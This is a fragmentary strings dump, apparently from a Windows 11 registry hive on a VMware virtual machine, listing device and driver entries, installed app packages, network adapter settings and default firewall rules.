{00000000-0000-0000-FFFF-FFFFFFFFFFFF} {6fb6e467-9ed4-4b73-8c22-70b97e22c7d9} spaceport DETECTEDInternal\spaceport DETECTED\spaceport {67e8be25-0ec0-11f1-b1f7-806e6f6e6963} {67e8be26-0ec0-11f1-b1f7-806e6f6e6963} Root\Spaceport spaceport.inf:Root\Spaceport,Spaceport_Install {00000000-0000-0000-FFFF-FFFFFFFFFFFF} volmgr DETECTEDInternal\volmgr DETECTED\volmgr ROOT\VOLMGR\0000 ROOT\VOLMGR {4d36e97d-e325-11ce-bfc1-08002be10318} @volmgr.inf,%volmgr.devicedesc%;Volume Manager {4d36e97d-e325-11ce-bfc1-08002be10318}\0129 Volume Manager Volume Manager @volmgr.inf,%msft%;Microsoft Microsoft mshdc.inf:Internal_IDE_Channel,atapi_Inst {18d46045-3e20-45c8-9217-ca5aa507e1ec} {4921461b-27de-4937-ac2d-96390848ddf4} PCIIDE\IDEChannel\4&23686003&0&0 PCIIDE\IDEChannel\4&23686003&0&1 PCI\VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00\4&bbf9765&0&1888 e SA PCI\VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00\4&bbf9765&0&1888 Bus Number 1, Target Id 0, LUN 0 cdrom {00000000-0000-0000-ffff-ffffffffffff} SCSI\CdRomNECVMWarVMware_SATA_CD011.00 SCSI\CdRomNECVMWarVMware_SATA_CD01 SCSI\CdRomNECVMWar SCSI\NECVMWarVMware_SATA_CD011 NECVMWarVMware_SATA_CD011 GenCdRom Microsoft enDisk,disk_install.NT {bc6c9364-fc67-42c5-acf7-abed3b12ecc6} {9d028f46-7b90-43dc-a976-68ec85df454c} PCI\VEN_15AD&DEV_0770&SUBSYS_077015AD&REV_00\4&bbf9765&0&1088 \??\PCI#VEN_15AD&DEV_0770&SUBSYS_077015AD&REV_00#4&bbf9765&0&1088#{3abf6f2d-71c4-462a-8a92-1e6861e6af27} 6&39d724fe&0 5&36a4b5d6&0 usbport.inf:392c3d536976a1f4:ROOTHUB.Dev.NT:10.0.26100.7705:USB\ROOT_HUB20 USB\ROOT_HUB20 USB\ROOT_HUB20 usbui.dll,USBHubPropPageProvider usbui.dll,USBHubPropPageProvider usbport.inf:USB\ROOT_HUB20,ROOTHUB.Dev.NT {b10d03b8-e1f6-47f5-afc2-0fa0779b8188} HID\VID_0E0F&PID_0003&MI_00\8&217ccb29&0&0000 USB\ROOT_HUB20\5&36a4b5d6&0 \??\USB#ROOT_HUB20#5&36a4b5d6&0#{f18a0e88-c30c-11d0-8815-00a0c906bed8} {6e6cc2c5-8110-490e-9905-9f2ed700e455} \_SB.L1M0.L0M6 Microsoft Primitive Provider ngHwAssist DXGKrnl :Software Loopback Interface 1 6Loopback Pseudo-Interface 1 &Default Compartment fvevol fvevol {9f7711dd-29ad-c1ee-1b1b-b52a0118a54c} PCI\VEN_15AD&DEV_077A&SUBSYS_077A15AD&REV_00\4&1ee266c4&0&00B0 @System32\drivers\usbxhci.sys,#1073807361;%1 USB %2 eXtensible Host Controller - %3 (Microsoft);(Standard,3.20,1.20) 5&11106705&0 PCI\VEN_15AD&DEV_077A&SUBSYS_077A15AD&REV_00\4&1ee266c4&0&00B0 {67e8be1f-0ec0-11f1-b1f7-806e6f6e6963} USB\ROOT_HUB30&VID15AD&PID077A&REV0000 USB\ROOT_HUB30&VID15AD&PID077A USB\ROOT_HUB30 USBHUB3 PCIROOT(0)#PCI(1600)#PCI(0000)#USBROOT(0) ACPI(_SB_)#ACPI(PCI0)#ACPI(PE50)#ACPI(S1F0)#USBROOT(0) {36fc9e60-c465-11cf-8056-444553540000} @usbhub3.inf,%usbhub3.roothubdevicedesc%;USB Root Hub (USB 3.0) {36fc9e60-c465-11cf-8056-444553540000}\0004 USB Root Hub (USB 3.0) USB Root Hub (USB 3.0) @usbhub3.inf,%generic.mfg%;(Standard USB HUBs) Microsoft Microsoft 1-26-2026 usbhub3.inf 10.0.26100.7705 10.0.26100.7705 usbhub3.inf Generic.Install.NT Generic.Install.NT usbhub3.inf:392c3d53434318dc:Generic.Install.NT:10.0.26100.7705:USB\ROOT_HUB30 USB\ROOT_HUB30 USB\ROOT_HUB30 usbhub3.inf:USB\ROOT_HUB30,Generic.Install.NT USB\ROOT_HUB30\5&11106705&0&0 {2430d0ce-fd18-4bc2-94d8-91a9596714a7} {67e8be39-0ec0-11f1-b1f7-806e6f6e6963} SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 volume @volume.inf,%volumedevicedesc%;Volume {71a27cdd-812a-11d0-bec7-08002be2092f}\0002 Volume @volume.inf,%msft%;Microsoft Microsoft Microsoft 6-21-2006 volume.inf 10.0.26100.5074 10.0.26100.5074 volume.inf volume_install.NT volume_install.NT volume.inf:db04a16cd70f5c5f:volume_install.NT:10.0.26100.5074:STORAGE\Volume STORAGE\Volume STORAGE\Volume volume.inf:STORAGE\Volume,volume_install.NT STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000 Basic data partition Basic data partition Basic data partition {a4196372-c3c4-42d5-87bf-7edb2e9bcc27} {3101343e-1a83-4921-98af-0b2bad3abeaa} basicdisplay.inf:ROOT\BasicDisplay,MSBDD_Fallback ROOT\UMBUS\0000 ROOT\SYSTEM\0000 ROOT\SYSTEM\0000 rdpbus ROOT\BasicDisplay\0000 ROOT\BasicDisplay\0000 {67E8BE46-0EC0-11F1-B1F7-806E6F6E6963} {67E8BE47-0EC0-11F1-B1F7-806E6F6E6963} {00000000-0000-0000-FFFF-FFFFFFFFFFFF} {00000000-0000-0000-FFFF-FFFFFFFFFFFF} {00000000-0000-0000-FFFF-FFFFFFFFFFFF} {00000000-0000-0000-FFFF-FFFFFFFFFFFF} BasicRender BasicRender basicrender.inf:dfb9e9fa20852446:BasicRender:10.0.26100.7705:ROOT\BasicRender ROOT\BasicRender ROOT\BasicRender basicrender.inf:ROOT\BasicRender,BasicRender ROOT\BasicRender\0000 ROOT\BasicRender\0000 {67E8BE48-0EC0-11F1-B1F7-806E6F6E6963} {67E8BE49-0EC0-11F1-B1F7-806E6F6E6963} {00000000-0000-0000-FFFF-FFFFFFFFFFFF} PCIROOT(0)#PCI(1600)#PCI(0000)#USBROOT(0)#USB(5)#USBMI(0) PCIROOT(0)#PCI(1600)#PCI(0000)#USBROOT(0)#USB(5)#USB(5) ACPI(_SB_)#ACPI(PCI0)#ACPI(PE50)#ACPI(S1F0)#USBROOT(0)#USB(5)#USBMI(0) ACPI(_SB_)#ACPI(PCI0)#ACPI(PE50)#ACPI(S1F0)#USBROOT(0)#USB(5)#USB(5) {745a17a0-74d3-11d0-b6fe-00a0c90f57da}\0000 USB Input Device USB Input Device @input.inf,%stdmfg%;(Standard system devices) Microsoft Microsoft 6-21-2006 input.inf 10.0.26100.7705 10.0.26100.7705 input.inf HID_Inst.NT HID_Inst.NT input.inf:741f41b5c3b20c6e:HID_Inst.NT:10.0.26100.7705:USB\Class_03 USB\Class_03 USB\Class_03 input.inf:USB\Class_03,HID_Inst.NT {47c779cd-4efd-49d7-9b10-9f16e5c25d06} USB\VID_0E0F&PID_0003\6&39d724fe&0&5 000b.0000.0000.005.000.000.000.000.000 {67e8be4a-0ec0-11f1-b1f7-806e6f6e6963} USB\VID_0E0F&PID_0003&REV_0102&MI_01 USB\VID_0E0F&PID_0003&MI_01 USB\COMPAT_VID_0e0f&Class_03&SubClass_00&Prot_00 USB\COMPAT_VID_0e0f&Class_03&SubClass_00 USB\COMPAT_VID_0e0f&Class_03 USB\Class_03&SubClass_00&Prot_00 USB\Class_03&SubClass_00 USB\Class_03 USB Input Device VMware PCIROOT(0)#PCI(1600)#PCI(0000)#USBROOT(0)#USB(5)#USBMI(1) ACPI(_SB_)#ACPI(PCI0)#ACPI(PE50)#ACPI(S1F0)#USBROOT(0)#USB(5)#USBMI(1) {745a17a0-74d3-11d0-b6fe-00a0c90f57da} HidUsb @input.inf,%hid.devicedesc%;USB Input Device oem6.inf 12.5.15.0 .1150 12.5.15.0 .1150 oem6.inf VMUsbMouse nst.NT VMUsbMouse nst.NT oem6.inf:097b406827c14205:VMUsbMouse:12.5.15.0:HID\VID_0E0F&PID_0003&MI_00 YSTEM_MOUSE oem6.inf:HID\VID_0E0F&PID_0003&MI_00,VMUsbMouse st.NT msmouse.inf msmouse.inf {bbbc2565-8272-486e-b5e5-2bc4630374ba} {fc8df8fd-d105-40a9-af75-2eec294adf8d} HID\VID_0E0F&PID_0003&MI_01\8&34ace767&0&0000 {7ffb8eb8-2c86-45d6-a7c5-c023d9c070c1} {09281f1f-f66e-485a-99a2-91638f782c49} ACPI\PNP0303\4&1bd7f811&0 ACPI\VMW0003\4&1bd7f811&0 ACPI\GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P\_0 ACPI\GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P\_1 ba02 \??\PCI#VEN_15AD&DEV_0774&SUBSYS_197615AD&REV_00#4&bbf9765&0&0088#{3abf6f2d-71c4-462a-8a92-1e6861e6af27} 4&427137e&0 5&2891968b&0 ROOTHUB.Dev.NT usbport.inf:392c3d536976a1f4:ROOTHUB.Dev.NT:10.0.26100.7705:USB\ROOT_HUB USB\ROOT_HUB USB\ROOT_HUB usbui.dll,USBHubPropPageProvider usbui.dll,USBHubPropPageProvider usbport.inf:USB\ROOT_HUB,ROOTHUB.Dev.NT ACPI\GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P\_0 ACPI\GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P\_1 5&217be3d6&0 PCI\VEN_15AD&DEV_1977&SUBSYS_197715AD&REV_09\4&bbf9765&0&0888 Internal High Definition Audio Bus {00000000-0000-0000-ffff-ffffffffffff} HDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001 HDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975 HDAUDIO\FUNC_01&CTLR_VEN_15AD&CTLR_DEV_1977&VEN_15AD&DEV_1975&REV_1001 HDAUDIO\FUNC_01&CTLR_VEN_15AD&VEN_15AD&DEV_1975&REV_1001 HDAUDIO\FUNC_01&VEN_15AD&DEV_1975&REV_1001 HDAUDIO\FUNC_01&CTLR_VEN_15AD&CTLR_DEV_1977&VEN_15AD&DEV_1975 HDAUDIO\FUNC_01&CTLR_VEN_15AD&VEN_15AD&DEV_1975 HDAUDIO\FUNC_01&VEN_15AD&DEV_1975 HDAUDIO\FUNC_01&CTLR_VEN_15AD&CTLR_DEV_1977&VEN_15AD HDAUDIO\FUNC_01&CTLR_VEN_15AD&VEN_15AD HDAUDIO\FUNC_01&VEN_15AD HDAUDIO\FUNC_01&CTLR_VEN_15AD&CTLR_DEV_1977 HDAUDIO\FUNC_01&CTLR_VEN_15AD HDAUDIO\FUNC_01&GF&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001 HDAUDIO\FUNC_01 Audio Device on High Definition Audio Bus \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD01#5&260e6d66&0&010000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} USB\ROOT_HUB\5&2891968b&0 \??\USB#ROOT_HUB#5&2891968b&0#{f18a0e88-c30c-11d0-8815-00a0c906bed8} \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD01#5&260e6d66&0&010000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} \REGISTRY\MACHINE\SOFTWARE HTREE\ROOT\0 {00000000-0000-0000-FFFF-FFFFFFFFFFFF} Microsoft {4d36e968-e325-11ce-bfc1-08002be10318} vm3dmp_loader {4d36e968-e325-11ce-bfc1-08002be10318}\0000 VMware SVGA 3D Display Adapter VMware SVGA 3D Display Adapter @oem8.inf,%companyname%;Broadcom Inc. ypes) oem8.inf 9.17.9.4 9.17.9.4 oem8.inf msdv.inf ay.inf msdv.inf ay.inf vm3dmp_loader Broadcom Inc. VESA SVGA {67E8BE58-0EC0-11F1-B1F7-806E6F6E6963} BasicDisplay @display.inf,%msbdaname%;Microsoft Basic Display Adapter {67E8BE58-0EC0-11F1-B1F7-806E6F6E6963} vm3dmp_loader @oem8.inf,%svga%;VMware SVGA 3D ft Basic Display Adapter {4d36e968-e325-11ce-bfc1-08002be10318}\0000 Broadcom Inc. PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61aaa01&0&78 PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61aaa01&0&78 {67E8BE59-0EC0-11F1-B1F7-806E6F6E6963} {4d36e96c-e325-11ce-bfc1-08002be10318} HdAudAddService @hdaudio.inf,%hdaudiofunctiondriver.generic.devicedesc%;High Definition Audio Device {4d36e96c-e325-11ce-bfc1-08002be10318}\0000 High Definition Audio Device High Definition Audio Device @hdaudio.inf,%msft%;Microsoft Microsoft Microsoft 1-30-2026 hdaudio.inf 10.0.26100.7824 10.0.26100.7824 hdaudio.inf HDAUDIO\FUNC_01 HdAudModel HdAudModel hdaudio.inf:db04a16ce4e8d6ee:HdAudModel:10.0.26100.7824:HDAUDIO\FUNC_01 ks.inf wdmaudio.inf ks.inf wdmaudio.inf HDAUDIO\FUNC_01 http://www.microsoft.com D:\wd\ctemp\Slipstream.Work.ph14slv5.vrc\Windows\System32\DriverStore\FileRepository\hdaudio.inf_amd64_28daf9eaf5cbc5e1\HDAudio.sys,-203 HdAudio.sys wave,midi,mixer,aux wdmaud.drv Microsoft 1.1 UAA Function Driver for High Definition Audio wdmaud.drv Microsoft 1.1 UAA Function Driver for High Definition Audio wdmaud.drv Microsoft 1.1 UAA Function Driver for High Definition Audio wdmaud.drv Microsoft 1.1 UAA Function Driver for High Definition Audio MSPCLOCK MSKSSRV hdaudio.inf:HDAUDIO\FUNC_01,HdAudModel {b3a109ec-1cb3-4947-95ed-431033eeb1b4} HDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001\5&217be3d6&0&0001 HDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001\5&217be3d6&0&0001 Intel64 Family 6 Model 186 Stepping 2, GenuineIntel HD Audio Speaker mixer HDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001\5&217be3d6&0&0001 {17cca71b-ecd7-11d0-b908-00a0c9223196} {00000000-0000-0000-0000-000000000000} {00000000-0000-0000-0000-000000000000} Microsoft Audio Home Theater Effects {C9453E73-8C5C-4463-9984-AF8BAB2F5447} {13AB3EBD-137E-4903-9D89-60BE8277FD17} {5860E1C5-F95C-4a7a-8EC8-8AEF24F379A1} {C18E2F7E-933D-4965-B7D1-1EEF228D2AF3} {C18E2F7E-933D-4965-B7D1-1EEF228D2AF3} {00000000-0000-0000-0000-000000000000} golu VMware SVGA 3D Display Adapter HD Audio Speaker {17cca71b-ecd7-11d0-b908-00a0c9223196} HDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001\5&217be3d6&0&0001 HD Audio Speaker {17cca71b-ecd7-11d0-b908-00a0c9223196} HDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001\5&217be3d6&0&0001 HD Audio Speaker {17cca71b-ecd7-11d0-b908-00a0c9223196} HD Audio Microphone {17cca71b-ecd7-11d0-b908-00a0c9223196} HDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001\5&217be3d6&0&0001 HD Audio Microphone {17cca71b-ecd7-11d0-b908-00a0c9223196} HD Audio Microphone {17cca71b-ecd7-11d0-b908-00a0c9223196} MSBDD_NOEDID_15AD_0405_00000000_000F0000_0 ROOT\SYSTEM\0000 ROOT\SYSTEM\0000 {17CCA71B-ECD7-11D0-B908-00A0C9223196} Tee/Sink-to-Sink Converter ROOT\SYSTEM\0000 {17CCA71B-ECD7-11D0-B908-00A0C9223196} Tee/Sink-to-Sink Converter ROOT\SYSTEM\0000 {17CCA71B-ECD7-11D0-B908-00A0C9223196} Microsoft Trusted Audio Drivers BasicDisplay PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61aaa01&0&78 VMware VMware Microsoft Basic Display Driver 1&8713bca&0 DISPLAY\Default_Monitor\4&427137e&0&UID0 DISPLAY\Default_Monitor\4&427137e&0&UID0 DISPLAY\Default_Monitor\4&427137e&0&UID0 3des,rc4 CREDSSP Microsoft CredSSP Security Provider CAGER.dll McIEPlg.dll ImTCTip.dll imsctip.dll igfxcpl.cpl igd10iumd64.dll igd10iumd32.dll IDTNC64.cpl "GooglePinyin2.ime F5FZWVCP.dll Enhancer.x32 DTShl64.dll DTShl32.dll cdintf500.dll cdintf400.dll cdintf300.dll bxscard.dll $Buddy API Xtra.x32 AXGEAR.dll awt.dll atidxx64.dll (AsusWSShellExt64.dll $AsusWSShellExt.dll aetsprov.dll aetpkss1.dll aetcsss1.dll aetcngss.dll acpdfui500.dll acpdfui450.dll acpdfui400.dll acpdfui300.dll acpdf500.dll acpdf400.dll acpdf300.dll _isdel.exe wordpad.exe wmplayer.exe tabtip.exe sppsvc.exe setup16.exe rundll32.exe regtlib.exe regsvr32.exe regasm.exe osk.exe NTVDM.exe mspaint.exe msiexec.exe mmc.exe instnm.exe imepadsv.exe iexplore.exe eudcedit.exe dxdiag.exe DWM.exe ctfmon.exe dddbe1cb-7bff-42d0-b1a4-9618504 MSBDD_NOEDID_15AD_0405_00000000_000F0000_0 clipchamp.clipchamp_yxz26nhyzhsrt microsoft.applicationcompatibilityenhancements_8wekyb3d8bbwe microsoft.av1videoextension_8wekyb3d8bbwe microsoft.avcencodervideoextension_8wekyb3d8bbwe microsoft.bingnews_8wekyb3d8bbwe microsoft.bingsearch_8wekyb3d8bbwe microsoft.bingweather_8wekyb3d8bbwe microsoft.desktopappinstaller_8wekyb3d8bbwe microsoft.gamingapp_8wekyb3d8bbwe microsoft.gethelp_8wekyb3d8bbwe microsoft.heifimageextension_8wekyb3d8bbwe microsoft.hevcvideoextension_8wekyb3d8bbwe microsoft.microsoftofficehub_8wekyb3d8bbwe microsoft.microsoftsolitairecollection_8wekyb3d8bbwe microsoft.microsoftstickynotes_8wekyb3d8bbwe microsoft.microsoftteamsapp_8wekyb3d8bbwe microsoft.mpeg2videoextension_8wekyb3d8bbwe microsoft.outlookforwindows_8wekyb3d8bbwe microsoft.paint_8wekyb3d8bbwe microsoft.powerautomatedesktop_8wekyb3d8bbwe microsoft.rawimageextension_8wekyb3d8bbwe microsoft.screensketch_8wekyb3d8bbwe microsoft.sechealthui_8wekyb3d8bbwe microsoft.storepurchaseapp_8wekyb3d8bbwe microsoft.vp9videoextensions_8wekyb3d8bbwe microsoft.webmediaextensions_8wekyb3d8bbwe microsoft.webpimageextension_8wekyb3d8bbwe microsoft.windows.devhome_8wekyb3d8bbwe microsoft.windows.photos_8wekyb3d8bbwe microsoft.windowsalarms_8wekyb3d8bbwe microsoft.windowscalculator_8wekyb3d8bbwe 9.8.30.0 microsoft.windowscamera_8wekyb3d8bbwe microsoft.windowsfeedbackhub_8wekyb3d8bbwe microsoft.windowsnotepad_8wekyb3d8bbwe microsoft.windowssoundrecorder_8wekyb3d8bbwe microsoft.windowsstore_8wekyb3d8bbwe microsoft.windowsterminal_8wekyb3d8bbwe microsoft.xbox.tcui_8wekyb3d8bbwe microsoft.xboxgamingoverlay_8wekyb3d8bbwe microsoft.xboxidentityprovider_8wekyb3d8bbwe microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe microsoft.yourphone_8wekyb3d8bbwe microsoft.zunemusic_8wekyb3d8bbwe microsoftwindows.crossdevice_cw5n1h2txyewy microsoftcorporationii.quickassist_8wekyb3d8bbwe microsoftwindows.client.webexperience_cw5n1h2txyewy Basic data partition Microsoft reserved partition Basic data partition ROOT\volmgr\0000 {67e8be20-0ec0-11f1-b1f7-806e6f6e6963} STORAGE\Volume {71a27cdd-812a-11d0-bec7-08002be2092f} volume Volume Volume @volume.inf,%volumedevicedesc%;Volume {71a27cdd-812a-11d0-bec7-08002be2092f}\0003 @volume.inf,%msft%;Microsoft Microsoft Microsoft 6-21-2006 volume.inf 10.0.26100.5074 10.0.26100.5074 volume.inf volume_install.NT volume_install.NT volume.inf:db04a16cd70f5c5f:volume_install.NT:10.0.26100.5074:STORAGE\Volume STORAGE\Volume STORAGE\Volume volume.inf:STORAGE\Volume,volume_install.NT STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000 C:\WINDOWS\Panther Windows11 BP982 {803cb23a-e32b-4200-bd82-d8a15919ac1b} 2026-02-28T00:58:48Z 2026-02-21T00:58:48Z 2026-02-28T00:58:48Z 2026-02-21T00:58:48Z 2026-02-28T00:58:48Z 2026-02-24T07:59:22Z 2026-02-24T07:59:26Z aux1 {1fd216eb-201e-4b4d-93ca-41f33d5a04ec} {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7}/00010000 {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc}/00010000 HDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001\5&217be3d6&0&0001 {789e633f-957a-5c84-9b9a-868c56696914} MMDEVAPI\AudioEndpoints GenericAudioEndpoint SWD\GenericRaw SWD\Generic Speakers (High Definition Audio Device) {c166523c-fe0c-4a94-a586-f1a80cfbbf3e} @audioendpoint.inf,%msft.audioendpoint%;Audio Endpoint {c166523c-fe0c-4a94-a586-f1a80cfbbf3e}\0000 Audio Endpoint Audio Endpoint @audioendpoint.inf,%msft%;Microsoft Microsoft {1845A07C-165F-46D1-8F24-B31AFF7E22DC} Microphone (High Definition Audio Device) {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} HTREE\ROOT\0 Windows Sonic for Headphones Dolby Atmos for Headphones ms-windows-store://pdp/?productid=9n0866fs04w8 Dolby Atmos for Speakers ms-windows-store://pdp/?productid=9n0866fs04w8 DTS Headphone:X ms-windows-store://pdp/?productid=9PJ0NKL8MCSJ ter origin Boottime Default MPSSVC Stores filter origin Boottime Default MPSSVC Stores filter origin Boottime Default MPSSVC Stores filter origin Boottime Default MPSSVC Stores filter origin Boottime Default MPSSVC Stores filter origin Boottime Default @FirewallAPI.dll,-23521 @FirewallAPI.dll,-23522 MPSSVC @FirewallAPI.dll,-23521 Quarantine Default Inbound Loopback Exception This filter allows loopback packets when the network was in quarantine state. The quarantine state was triggered by a network state change. @C:\WINDOWS\system32\spool\drivers\x64\3\PrintConfig.dll,-1 RpcSs LocalSystem DynDRootClass \SystemRoot\System32\drivers\e1i68x64.sys @net1ic64.inf,%e1iExpress.Service.DispName%;Intel(R) PRO/1000 PCI Express Network Connection Driver I net1ic64.inf net1ic64.inf E10D3.10.0.1 E10D3.10.0.1 net1ic64.inf:5f63e534913ce6d3:E10D3.10.0.1:12.19.1.32:PCI\VEN_8086&DEV_10D3 pci.inf pci.inf PCI\VEN_8086&DEV_10D3 PCI\VEN_8086&DEV_10D3 65535 1514 Jumbo Packet enum Disabled 4088 Bytes 9014 Bytes IPv4 Checksum Offload enum Disabled Tx Enabled Rx Enabled Rx & Tx Enabled Interrupt Moderation enum Disabled Enabled Flow Control enum Disabled Tx Enabled ndis5 Rx Enabled Rx & Tx Enabled ethernet net1ic64.inf:PCI\VEN_8086&DEV_10D3,E10D3.10.0.1 %SystemRoot%\System32\netevent.dll PCI\VEN_8086&DEV_10D3 ndis5 ethernet Ethernet0 {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Intel(R) 82574L Gigabit Network Connection Intel(R) 82574L Gigabit Network Connection Intel(R) 82574L Gigabit Network Connection Tcpip\Parameters\Interfaces\{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Intel(R) 82574L Gigabit Network Connection PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 PCI\VEN_8086&DEV_10D3 RDMANDK Tcpip MsLldp Tcpip6 rspndr RasPppoe Ndisuio lltdio \Registry\Machine\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Adapters\{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Registry\Machine\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} 0.0.0.0 27.140 255.0.0.0 C-40A2-8 v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=17|LPort=5353|App=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe|Name=Microsoft Edge (mDNS-In)|Desc=Inbound rule for Microsoft Edge to allow mDNS traffic.|EmbedCtxt=Microsoft Edge| Microsoft Edge Elevation Service (MicrosoftEdgeElevationService) .33|Action=Allow|Active=TRUE|Dir=Out|Protocol=17|Profile=Public|LPort=7000|App=C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackupClient.exe|Name=ms-resource:ProductPkgDisplayName|Desc=ms-resource:ProductPkgDisplayName|EmbedCtxt={78E1CD88-49E3-476E-B926-580E596AD309}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=17|Profile=Private|LPort=7000|App=C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackupClient.exe|Name=ms-resource:ProductPkgDisplayName|Desc=ms-resource:ProductPkgDisplayName|EmbedCtxt={78E1CD88-49E3-476E-B926-580E596AD309}| "C:\Program Files (x86)\Microsoft\Edge\Application\145.0.3800.70\elevation_service.exe" LocalSystem Provides elevated privileges for Microsoft Edge. Maintient votre logiciel Microsoft jour. Si ce service est d sactiv ou arr , votre logiciel Microsoft n'est pas mis jour, ce qui signifie que les potentielles failles de s curit peuvent ne pas tre corrig es et que certaines fonctionnalit s risquent de ne pas tre op rationnelles. Ce service se d sinstalle de lui-m me si aucun logiciel Microsoft ne l'utilise. v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Public|LPort=7000|App=C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe|Name=ms-resource:ProductPkgDisplayName|Desc=ms-resource:ProductPkgDisplayName|EmbedCtxt={78E1CD88-49E3-476E-B926-580E596AD309}| lltdio MsLldp Ndisuio RasPppoe RDMANDK rspndr Tcpip Tcpip6 {E33FA66E-DBEC-40A2-8AA4-E7C085F48539}-{430BDADD-BAB0-41AB-A369-94B67FA5BE0A}-0000 {E33FA66E-DBEC-40A2-8AA4-E7C085F48539}-{3BFD7820-D65C-4C1B-9FEA-983A019639EA}-0000 {E33FA66E-DBEC-40A2-8AA4-E7C085F48539}-{430BDADD-BAB0-41AB-A369-94B67FA5BE0A}-0001 {E33FA66E-DBEC-40A2-8AA4-E7C085F48539}-{B5F4D659-7DAA-4565-8E41-BE220ED60542}-0000 {E33FA66E-DBEC-40A2-8AA4-E7C085F48539}-{430BDADD-BAB0-41AB-A369-94B67FA5BE0A}-0002 {E33FA66E-DBEC-40A2-8AA4-E7C085F48539}-{B70D6460-3635-4D42-B866-B8AB1A24454C}-0000 {E33FA66E-DBEC-40A2-8AA4-E7C085F48539}-{430BDADD-BAB0-41AB-A369-94B67FA5BE0A}-0003 Microsoft Kernel Debug Network Adapter Microsoft Kernel Debug Network Adapter Microsoft Kernel Debug Network Adapter Tcpip\Parameters\Interfaces\{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} 381b4222-f694-41f0-9685-ff5bb260df2e ROOT\KDNIC\0000 ROOT\KDNIC\0000 \Registry\Machine\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Adapters\{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} \Registry\Machine\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} {48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} RDMANDK Tcpip MsLldp Tcpip6 rspndr RasPppoe Ndisuio lltdio \Device\Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\Tcpip_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} \Device\{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} "{E33FA66E-DBEC-40A2-8AA4-E7C085F48539}" "{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85}" \Device\NetBT_Tcpip6_{93123211-9629-4E04-82F0-EA2E4F221468} \Device\NetBT_Tcpip6_{2EE2C70C-A092-4D88-A654-98C8D7645CD5} \Device\NetBT_Tcpip6_{07374750-E68B-490E-9330-9FD785CD71B6} \Device\NetBT_Tcpip6_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\NetBT_Tcpip_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} 